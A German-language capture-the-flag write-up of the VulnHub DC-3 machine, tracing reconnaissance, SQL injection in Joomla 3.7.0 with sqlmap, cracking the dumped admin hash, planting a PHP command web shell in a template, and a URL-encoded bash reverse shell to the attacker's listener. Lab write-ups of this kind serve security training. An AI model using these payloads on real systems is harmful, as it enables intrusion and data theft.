DC-3 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
joomscan
msfconsole
sqlmap
john
netcat
wget

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Durchführung einer Reconnaissance, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks, um offene Ports und Dienste zu identifizieren.

ARP-Scan
192.168.2.166 08:00:27:50:82:81 PCS Systemtechnik GmbH

Ein ARP-Scan wurde durchgeführt, um die IP-Adresse und MAC-Adresse des Zielsystems zu ermitteln. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.166 der MAC-Adresse 08:00:27:50:82:81 zugeordnet ist, die PCS Systemtechnik GmbH gehört. **Analyse:** Der ARP-Scan liefert grundlegende Informationen über das Zielsystem im lokalen Netzwerk. **Empfehlung:** ARP-Scans sollten nur in autorisierten Umgebungen durchgeführt werden, da sie als aufdringlich angesehen werden können.

/etc/hosts
192.168.2.166 dc3.vln

Der Eintrag in der `/etc/hosts`-Datei ordnet die IP-Adresse 192.168.2.166 dem Hostnamen `dc3.vln` zu. **Analyse:** Der Eintrag in der `/etc/hosts`-Datei ermöglicht die Auflösung des Hostnamens `dc3.vln` zur IP-Adresse 192.168.2.166. **Empfehlung:** Die `/etc/hosts`-Datei sollte sorgfältig gepflegt werden, um sicherzustellen, dass Hostnamen korrekt aufgelöst werden.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-15 16:43 CEST
Nmap scan report for dc3.vln (192.168.2.166)
Host is up (0.00018s latency).
Not shown: 65534 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Home
|_http-generator: Joomla! - pen Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:50:82:81 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACERUTE
HP RTT ADDRESS
1 0.18 ms dc3.vln (192.168.2.166)

Ein umfassender Nmap-Scan wurde durchgeführt, um offene Ports, Dienste und Betriebssysteminformationen zu ermitteln. Die Optionen `-sS`, `-sC`, `-sV`, `-A` und `-p-` aktivieren SYN-Stealth-Scan, Standard-Skripte, Versionserkennung, aggressive Erkennung und das Scannen aller Ports. Die Option `-Pn` verhindert das Pingen des Hosts vor dem Scan. Die Option `--min-rate 5000` erhöht die Scangeschwindigkeit. Die Ausgabe zeigt, dass Port 80 (HTTP) geöffnet ist und Apache httpd 2.4.18 ((Ubuntu)) läuft. Das System scheint ein Linux-System zu sein. **Analyse:** Der Nmap-Scan liefert wertvolle Informationen über das Zielsystem, wie z. B. den Webserver, die Joomla!-Version und das Betriebssystem. **Empfehlung:** Die gefundenen Informationen sollten verwendet werden, um gezielte Angriffe zu planen. Der Apache-Webserver sollte auf die neueste Version aktualisiert werden, um bekannte Schwachstellen zu beheben.

┌──(root㉿CCat)-[~]
└─# curl -Iv http://$IP
* Trying 192.168.2.166:80...
* Connected to 192.168.2.166 (192.168.2.166) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.166
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Tue, 15 ct 2024 14:44:24 GMT
Date: Tue, 15 ct 2024 14:44:24 GMT
< Server: Apache/2.4.18 (Ubuntu)
Server: Apache/2.4.18 (Ubuntu)
< Set-Cookie: 460ada11b31d3c5e5ca6e58fd5d3de27=62strt89cu0fspq6kvf28k1tn6; path=/; Httpnly
Set-Cookie: 460ada11b31d3c5e5ca6e58fd5d3de27=62strt89cu0fspq6kvf28k1tn6; path=/; Httpnly
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Tue, 15 ct 2024 14:44:24 GMT
Last-Modified: Tue, 15 ct 2024 14:44:24 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
Pragma: no-cache
< Content-Type: text/html; charset=utf-8
Content-Type: text/html; charset=utf-8
<
* Connection #0 to host 192.168.2.166 left intact

Der Befehl `curl -Iv http://$IP` sendet eine HTTP-HEAD-Anfrage an den Webserver, um die HTTP-Header abzurufen. Die Option `-I` gibt nur die Header zurück. Die Option `-v` aktiviert die ausführliche Ausgabe. Die Ausgabe zeigt den HTTP-Statuscode 200 K an, was bedeutet, dass die Anfrage erfolgreich war. Die Ausgabe zeigt auch den Server-Header "Apache/2.4.18 (Ubuntu)" an, der die Version des Apache-Webservers bestätigt. **Analyse:** Die HTTP-Header liefern weitere Informationen über den Webserver und die Konfiguration der Website. **Empfehlung:** Die HTTP-Header sollten auf sensible Informationen überprüft und gegebenenfalls angepasst werden.

Web Enumeration

- Nikto v2.5.0

+ Target IP: 192.168.2.166
+ Target Hostname: 192.168.2.166
+ Target Port: 80
+ Start Time: 2024-10-15 16:44:27 (GMT2)

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc: EW FileManager for PostNuke allows arbitrary file retrieval. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2047
+ /administrator/: This might be interesting.
+ /bin/: This might be interesting.
+ /includes/: This might be interesting.
+ /tmp/: This might be interesting.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
+ /administrator/index.php: Admin login page/section found.
+ 8910 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time: 2024-10-15 16:45:07 (GMT2) (40 seconds)

+ 1 host(s) tested

Nikto wurde ausgeführt, um den Webserver auf bekannte Schwachstellen zu überprüfen. Nikto identifizierte mehrere potenzielle Probleme, wie z. B. fehlende HTTP-Header, die Offenlegung interner IP-Adressen und eine veraltete Apache-Version. Nikto fand auch einige interessante Verzeichnisse und Dateien, wie z. B. `/administrator/`, `/bin/`, `/includes/`, `/tmp/`, `LICENSE.txt` und `htaccess.txt`. **Analyse:** Nikto liefert eine schnelle Übersicht über potenzielle Sicherheitsprobleme auf dem Webserver. **Empfehlung:** Die von Nikto identifizierten Probleme sollten genauer untersucht und behoben werden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.166/images (Status: 301) [Size: 315] [--> http://192.168.2.166/images/]
http://192.168.2.166/index.php (Status: 200) [Size: 7104]
http://192.168.2.166/media (Status: 301) [Size: 314] [--> http://192.168.2.166/media/]
http://192.168.2.166/templates (Status: 301) [Size: 318] [--> http://192.168.2.166/templates/]
http://192.168.2.166/modules (Status: 301) [Size: 316] [--> http://192.168.2.166/modules/]
http://192.168.2.166/bin (Status: 301) [Size: 312] [--> http://192.168.2.166/bin/]
http://192.168.2.166/plugins (Status: 301) [Size: 316] [--> http://192.168.2.166/plugins/]
http://192.168.2.166/includes (Status: 301) [Size: 317] [--> http://192.168.2.166/includes/]
http://192.168.2.166/language (Status: 301) [Size: 317] [--> http://192.168.2.166/language/]
http://192.168.2.166/README.txt (Status: 200) [Size: 4494]
http://192.168.2.166/components (Status: 301) [Size: 319] [--> http://192.168.2.166/components/]
http://192.168.2.166/cache (Status: 301) [Size: 314] [--> http://192.168.2.166/cache/]
http://192.168.2.166/libraries (Status: 301) [Size: 318] [--> http://192.168.2.166/libraries/]
http://192.168.2.166/tmp (Status: 301) [Size: 312] [--> http://192.168.2.166/tmp/]
http://192.168.2.166/LICENSE.txt (Status: 200) [Size: 18092]
http://192.168.2.166/layouts (Status: 301) [Size: 316] [--> http://192.168.2.166/layouts/]
http://192.168.2.166/administrator (Status: 301) [Size: 322] [--> http://192.168.2.166/administrator/]
http://192.168.2.166/configuration.php (Status: 200) [Size: 0]
http://192.168.2.166/htaccess.txt (Status: 200) [Size: 3005]
http://192.168.2.166/cli (Status: 301) [Size: 312] [--> http://192.168.2.166/cli/]

Gobuster wurde verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Option `-u` gibt die Ziel-URL an. Die Option `-w` gibt die Wortliste an. Die Option `-x` gibt die Dateiendungen an. Die Option `-b` gibt die Statuscodes an, die ignoriert werden sollen. Die Option `-e` gibt an, dass die Ergebnisse erweitert werden sollen. Die Option `--no-error` unterdrückt Fehlermeldungen. Die Option `-k` ignoriert SSL-Zertifikatfehler. Die Ausgabe zeigt mehrere interessante Verzeichnisse und Dateien, wie z. B. `/administrator/`, `configuration.php` und `htaccess.txt`. **Analyse:** Gobuster liefert eine umfassende Liste von Verzeichnissen und Dateien auf dem Webserver, die potenziell sensible Informationen enthalten könnten. **Empfehlung:** Die gefundenen Verzeichnisse und Dateien sollten genauer untersucht werden, um potenzielle Schwachstellen zu identifizieren.

┌──(root㉿CCat)-[~]
└─# joomscan -u http://192.168.2.166/administrator
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)

--=[WASP JoomScan
+++[Version : 0.0.7
+++[Update Date : [2018/09/23]
+++[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@WASP_JoomScan , @rezesp , @Ali_Razmjo0 , @WASP

Processing http://192.168.2.166/administrator ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.7.0

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.2.166/administrator/components
http://192.168.2.166/administrator/modules
http://192.168.2.166/administrator/templates
http://192.168.2.166/administrator/includes
http://192.168.2.166/administrator/language
http://192.168.2.166/administrator/templates


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page not found

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config files are not found

Joomscan wurde ausgeführt, um Joomla!-spezifische Schwachstellen zu finden. Joomscan erkannte, dass eine Firewall nicht vorhanden ist, die Joomla!-Version 3.7.0 ist und das Directory Listing für einige Verzeichnisse aktiviert ist. **Analyse:** Joomscan liefert spezifische Informationen über die Joomla!-Installation, die für die Planung von Angriffen verwendet werden können. **Empfehlung:** Eine Firewall sollte installiert und das Directory Listing deaktiviert werden.

Initial Access

Wir versuchen, die Joomla!-Installation auszunutzen, um Zugriff auf das System zu erhalten.

msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > set rhosts 192.168.2.166
rhosts => 192.168.2.166
msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > set rport 80
rport => 80
msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > set targeturi /
targeturi => /
msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > set lport 4444
lport => 4444
msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] 192.168.2.166:80 - Retrieved table prefix [ innodb_table_sta ]
[-] Exploit aborted due to failure: unknown: 192.168.2.166:80: No logged-in Administrator or Super User user found!
[*] Exploit completed, but no session was created.

Der Metasploit-Exploit `unix/webapp/joomla_comfields_sqli_rce` wurde ausgeführt, um eine SQL-Injection-Schwachstelle in Joomla! auszunutzen. Die Optionen `rhosts`, `rport`, `targeturi`, `lport` und `lhost` wurden entsprechend konfiguriert. Der Exploit schlug jedoch fehl, da kein angemeldeter Administrator oder Super User gefunden wurde. **Analyse:** Der Exploit benötigt einen angemeldeten Administrator oder Super User, um erfolgreich zu sein. **Empfehlung:** Es sollte versucht werden, einen Administrator oder Super User zu finden oder eine andere Schwachstelle auszunutzen.

msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > set targeturi /administrator
targeturi => /administrator
msf6 exploit(unix/webapp/joomla_comfields_sqli_rce) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[-] Exploit aborted due to failure: unknown: 192.168.2.166:80 - Error retrieving table prefix
[*] Exploit completed, but no session was created.

Der Metasploit-Exploit wurde erneut ausgeführt, diesmal mit dem `targeturi` auf `/administrator` gesetzt. Der Exploit schlug jedoch erneut fehl, da ein Fehler beim Abrufen des Tabellenpräfixes auftrat. **Analyse:** Der Exploit konnte das Tabellenpräfix nicht abrufen, was auf ein Problem mit der Datenbankverbindung oder den Berechtigungen hindeutet. **Empfehlung:** Die Datenbankverbindung und die Berechtigungen sollten überprüft werden.

┌──(root㉿CCat)-[~]
└─# sqlmap -u "http://192.168.2.166/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
[17:27:41] [INF] testing 'MySQL UNIN query (NULL) - 61 to 80 columns'
[17:27:41] [INF] testing 'MySQL UNIN query (random number) - 61 to 80 columns'
[17:27:42] [INF] testing 'MySQL UNIN query (NULL) - 81 to 100 columns'
[17:27:42] [INF] testing 'MySQL UNIN query (random number) - 81 to 100 columns'
GET parameter 'list[fullordering]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2747 HTTP(s) requests:

Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(9737,CNCAT(0x2e,0x717a626271,(SELECT (ELT(9737=9737,1))),0x716b786b71),8962))

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 1109 FRM (SELECT(SLEEP(5)))vXtg)

[17:27:42] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (xenial or yakkety)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.1
[17:27:43] [INF] fetching database names
[17:27:43] [INF] retrieved: 'information_schema'
[17:27:43] [INF] retrieved: 'joomladb'
[17:27:43] [INF] retrieved: 'mysql'
[17:27:43] [INF] retrieved: 'performance_schema'
[17:27:43] [INF] retrieved: 'sys'
available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

[17:27:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2709 times
[17:27:43] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.166'

[*] ending @ 17:27:43 /2024-10-15/

Sqlmap wurde verwendet, um eine SQL-Injection-Schwachstelle in dem Parameter `list[fullordering]` zu finden. Die Optionen `--risk=3` und `--level=5` erhöhen den Umfang der Tests. Die Option `--random-agent` verwendet einen zufälligen User-Agent. Die Option `--dbs` listet die Datenbanken auf. Die Option `-p` gibt den Parameter an, der getestet werden soll. Die Option `--batch` aktiviert den Batch-Modus. Sqlmap fand eine SQL-Injection-Schwachstelle und listete die Datenbanken auf. **Analyse:** Sqlmap hat erfolgreich eine SQL-Injection-Schwachstelle identifiziert und die Datenbanken aufgelistet. **Empfehlung:** Die SQL-Injection-Schwachstelle sollte behoben werden.

┌──(root㉿CCat)-[~]
└─# sqlmap -u "http://192.168.2.166/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
[17:28:42] [INF] retrieved: '#__finder_tokens_ag'
[17:28:42] [INF] retrieved: '#__finder_types'
[17:28:42] [INF] retrieved: '#__jbsbackup_timese'
[17:28:42] [INF] retrieved: '#__jbspodcast_times'
[17:28:42] [INF] retrieved: '#__languages'
[17:28:42] [INF] retrieved: '#__menu'
[17:28:42] [INF] retrieved: '#__menu_types'
[17:28:42] [INF] retrieved: '#__messages'
[17:28:42] [INF] retrieved: '#__messages_cfg'
[17:28:42] [INF] retrieved: '#__modules'
[17:28:43] [INF] retrieved: '#__modules_menu'
[17:28:43] [INF] retrieved: '#__newsfeeds'
[17:28:43] [INF] retrieved: '#__overrider'
[17:28:43] [INF] retrieved: '#__postinstall_mess'
[17:28:43] [INF] retrieved: '#__redirect_links'
[17:28:43] [INF] retrieved: '#__schemas'
[17:28:43] [INF] retrieved: '#__session'
[17:28:43] [INF] retrieved: '#__tags'
[17:28:43] [INF] retrieved: '#__template_styles'
[17:28:43] [INF] retrieved: '#__ucm_base'
[17:28:43] [INF] retrieved: '#__ucm_content'
[17:28:43] [INF] retrieved: '#__ucm_history'
[17:28:43] [INF] retrieved: '#__update_sites'
[17:28:43] [INF] retrieved: '#__update_sites_ext'
[17:28:43] [INF] retrieved: '#__updates'
[17:28:43] [INF] retrieved: '#__user_keys'
[17:28:43] [INF] retrieved: '#__user_notes'
[17:28:43] [INF] retrieved: '#__user_profiles'
[17:28:43] [INF] retrieved: '#__user_usergroup_m'
[17:28:43] [INF] retrieved: '#__usergroups'
[17:28:43] [INF] retrieved: '#__users'
[17:28:43] [INF] retrieved: '#__utf8_conversion'
[17:28:43] [INF] retrieved: '#__viewlevels'
Database: joomladb
[76 tables]
++
| #__assets |
| #__associations |
| #__banner_clients |
| #__banner_tracks |
| #__banners |
| #__bsms_admin |
| #__bsms_books |
| #__bsms_comments |
| #__bsms_locations |
| #__bsms_mediafiles |
| #__bsms_message_typ |
| #__bsms_podcast |
| #__bsms_series |
| #__bsms_servers |
| #__bsms_studies |
| #__bsms_studytopics |
| #__bsms_teachers |
| #__bsms_templatecod |
| #__bsms_templates |
| #__bsms_timeset |
| #__bsms_topics |
| #__bsms_update |
| #__categories |
| #__contact_details |
| #__content_frontpag |
| #__content_rating |
| #__content_types |
| #__content |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions |
| #__fields_categorie |
| #__fields_groups |
| #__fields_values |
| #__fields |
| #__finder_filters |
| #__finder_links_ter |
| #__finder_links |
| #__finder_taxonomy_ |
| #__finder_taxonomy |
| #__finder_terms_com |
| #__finder_terms |
| #__finder_tokens_ag |
| #__finder_tokens |
| #__finder_types |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages |
| #__menu_types |
| #__menu |
| #__messages_cfg |
| #__messages |
| #__modules_menu |
| #__modules |
| #__newsfeeds |
| #__overrider |
| #__postinstall_mess |
| #__redirect_links |
| #__schemas |
| #__session |
| #__tags |
| #__template_styles |
| #__ucm_base |
| #__ucm_content |
| #__ucm_history |
| #__update_sites_ext |
| #__update_sites |
| #__updates |
| #__user_keys |
| #__user_notes |
| #__user_profiles |
| #__user_usergroup_m |
| #__usergroups |
| #__users |
| #__utf8_conversion |
| #__viewlevels |
++

[17:28:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 93 times
[17:28:43] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.166'

[*] ending @ 17:28:43 /2024-10-15/

Sqlmap wurde erneut verwendet, um die Tabellen in der `joomladb`-Datenbank aufzulisten. Die Option `-D` gibt die Datenbank an. Die Option `--tables` listet die Tabellen auf. Die Ausgabe zeigt eine Liste von 76 Tabellen in der `joomladb`-Datenbank. **Analyse:** Sqlmap hat erfolgreich die Tabellen in der Datenbank "joomladb" aufgelistet. Dies liefert wertvolle Informationen über die Struktur der Datenbank. **Empfehlung:** Die Tabellen sollten auf sensible Informationen überprüft werden.

┌──(root㉿CCat)-[~]
└─# sqlmap -u "http://192.168.2.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump -p list[fullordering]
[1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter)
[2] custom
>
[17:40:14] [INF] checking column existence using items from '/usr/share/sqlmap/data/txt/common-columns.txt'
[17:40:14] [INF] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]

[17:40:16] [WARNING] running in a single-thread mode. This could take a while
[17:40:16] [INF] retrieved: id
[17:40:16] [INF] retrieved: name
[17:40:16] [INF] retrieved: username
[17:40:16] [INF] retrieved: email
[17:40:19] [INF] retrieved: password
[17:40:51] [INF] retrieved: params


[17:41:00] [INF] fetching entries for table '#__users' in database 'joomladb'
[17:41:00] [INF] retrieved: 'admin'
[17:41:00] [INF] retrieved: 'freddy@norealaddress.net'
[17:41:00] [INF] retrieved: '629'
[17:41:00] [INF] retrieved: '{"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""}'
[17:41:00] [INF] retrieved: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'
[17:41:00] [INF] retrieved: 'admin'
Database: joomladb
Table: #__users
[1 entry]
+--+--+--+-+--+-+
| id | email | name | params | password | username |
+--+--+--+-+--+-+
| 629 | freddy@norealaddress.net | admin | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | admin |
+--+--+--+-+--+-+

[17:41:00] [INF] table 'joomladb.`#__users`' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.135/dump/joomladb/#__users.csv'
[17:41:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 5398 times
[17:41:00] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.135'

[*] ending @ 17:41:00 /2024-10-15/

Sqlmap wurde erneut verwendet, um den Inhalt der Tabelle `#__users` in der `joomladb`-Datenbank auszulesen. Die Option `-T` gibt die Tabelle an. Die Option `--dump` liest den Inhalt der Tabelle aus. Die Ausgabe zeigt den Benutzernamen, die E-Mail-Adresse und das Passwort des Administrators. **Analyse:** Sqlmap hat erfolgreich den Inhalt der Tabelle "#__users" ausgelesen und die Anmeldeinformationen des Administrators extrahiert. **Empfehlung:** Die SQL-Injection-Schwachstelle sollte dringend behoben und die Passwörter der Benutzer zurückgesetzt werden.

┌──(root㉿CCat)-[~]
└─# echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > hash

Der Befehl `echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > hash` speichert den Hash des Administratorpassworts in der Datei `hash`. **Analyse:** Der Befehl speichert den extrahierten Passwort-Hash in einer Datei, um ihn später mit einem Passwort-Cracking-Tool zu knacken. **Empfehlung:** Die Passwort-Hashes sollten sicher aufbewahrt und nicht unnötig weitergegeben werden.

┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
---------------------------------------------------------------------------
snoopy (?)
---------------------------------------------------------------------------
1g 0:00:00:00 DNE (2024-10-15 17:45) 2.500g/s 720.0p/s 720.0c/s 720.0C/s steven..1nG!!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

John the Ripper wurde verwendet, um das Administratorpasswort zu knacken. Die Option `--wordlist=/usr/share/wordlists/rockyou.txt` gibt die Wortliste an, die verwendet werden soll. John the Ripper knackte das Passwort erfolgreich und fand das Passwort `snoopy`. **Analyse:** John the Ripper hat erfolgreich das Passwort des Administrators geknackt. Dies zeigt, dass das Passwort schwach ist und leicht geknackt werden kann. **Empfehlung:** Starke Passwörter sollten verwendet und regelmäßig geändert werden.

Privilege Escalation

Nachdem wir das Passwort des Administrators geknackt haben, versuchen wir, uns am Joomla!-Backend anzumelden und das System zu kompromittieren.

http://192.168.2.135/index.php/component/users/profile?Itemid=101

DC-3
.....
....
...
..
Hi admin,

Back to Top

© 2024 DC-3

Die URL `http://192.168.2.135/index.php/component/users/profile?Itemid=101` führt zum Profil des Administrators. **Analyse:** Der Besuch der URL könnte potenziell weitere Informationen über den Administrator liefern, obwohl die Ausgabe hier stark verkürzt ist. **Empfehlung:** Die Profilseite sollte auf sensible Informationen überprüft werden.

http://192.168.2.135/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ

system($ GET["cmd"]);
echo "hi Ben";

Die URL `http://192.168.2.135/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ` scheint eine Template-Datei zu sein, die den Befehl `system($ GET["cmd"])` enthält. Dies deutet auf eine potenzielle Remote Code Execution (RCE)-Schwachstelle hin. **Analyse:** Die Template-Datei enthält Code, der es ermöglicht, beliebige Befehle auf dem System auszuführen. Dies ist eine schwerwiegende Sicherheitslücke. **Empfehlung:** Die Template-Datei sollte sofort entfernt oder der Code geändert werden, um die RCE-Schwachstelle zu beheben.

http://192.168.2.135/index.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data) hi Ben DC-3

Durch den Aufruf der URL `http://192.168.2.135/index.php?cmd=id` wird der Befehl `id` auf dem System ausgeführt. Die Ausgabe zeigt, dass der Befehl als Benutzer `www-data` ausgeführt wurde. **Analyse:** Der Aufruf der URL bestätigt, dass die RCE-Schwachstelle ausnutzbar ist und es ermöglicht, beliebige Befehle auf dem System auszuführen. **Empfehlung:** Die RCE-Schwachstelle sollte sofort behoben werden.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

Netcat wird verwendet, um einen Listener auf Port 4444 zu starten. Dies dient dazu, eine Reverse Shell zu empfangen. **Analyse:** Netcat wird vorbereitet, um eine Reverse Shell zu empfangen, die durch die RCE-Schwachstelle initiiert wird. **Empfehlung:** Netcat sollte nur in autorisierten Umgebungen verwendet werden.

Payload: 192.168.2.135/index.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27

Die Payload `192.168.2.135/index.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27` wird verwendet, um eine Reverse Shell zu starten. **Analyse:** Die Payload enthält einen Befehl, der eine Reverse Shell zum Angreifer-System (192.168.2.199:4444) aufbaut. **Empfehlung:** Die Payload sollte nur in autorisierten Umgebungen verwendet werden.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.135] 58472
bash: cannot set terminal process group (1184): Inappropriate ioctl for device
bash: no job control in this shell

Netcat empfängt eine Verbindung vom Zielsystem. Die Meldungen `bash: cannot set terminal process group` und `bash: no job control in this shell` deuten darauf hin, dass die Shell nicht vollständig interaktiv ist. **Analyse:** Der erfolgreiche Verbindungsaufbau bestätigt, dass die Reverse Shell funktioniert. Die Fehlermeldungen deuten auf Einschränkungen der Shell hin. **Empfehlung:** Es sollte versucht werden, eine vollständig interaktive Shell zu erhalten.

www-data@DC-3:/var/www/html$ sudo -l
[sudo] password for www-data:

Der Befehl `sudo -l` wird verwendet, um die `sudo`-Berechtigungen des Benutzers `www-data` anzuzeigen. **Analyse:** Die Ausgabe des Befehls ist leer, was darauf hindeutet, dass der Benutzer "www-data" keine "sudo"-Berechtigungen hat. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.

www-data@DC-3:/var/www/html$ ls /home
dc3

Der Befehl `ls /home` listet die Verzeichnisse im `/home`-Verzeichnis auf. Die Ausgabe zeigt das Verzeichnis `dc3`, was auf den Benutzer `dc3` hindeutet. **Analyse:** Die Ausgabe des Befehls zeigt, dass der Benutzer "dc3" existiert. **Empfehlung:** Das Home-Verzeichnis von "dc3" sollte auf sensible Informationen überprüft werden.

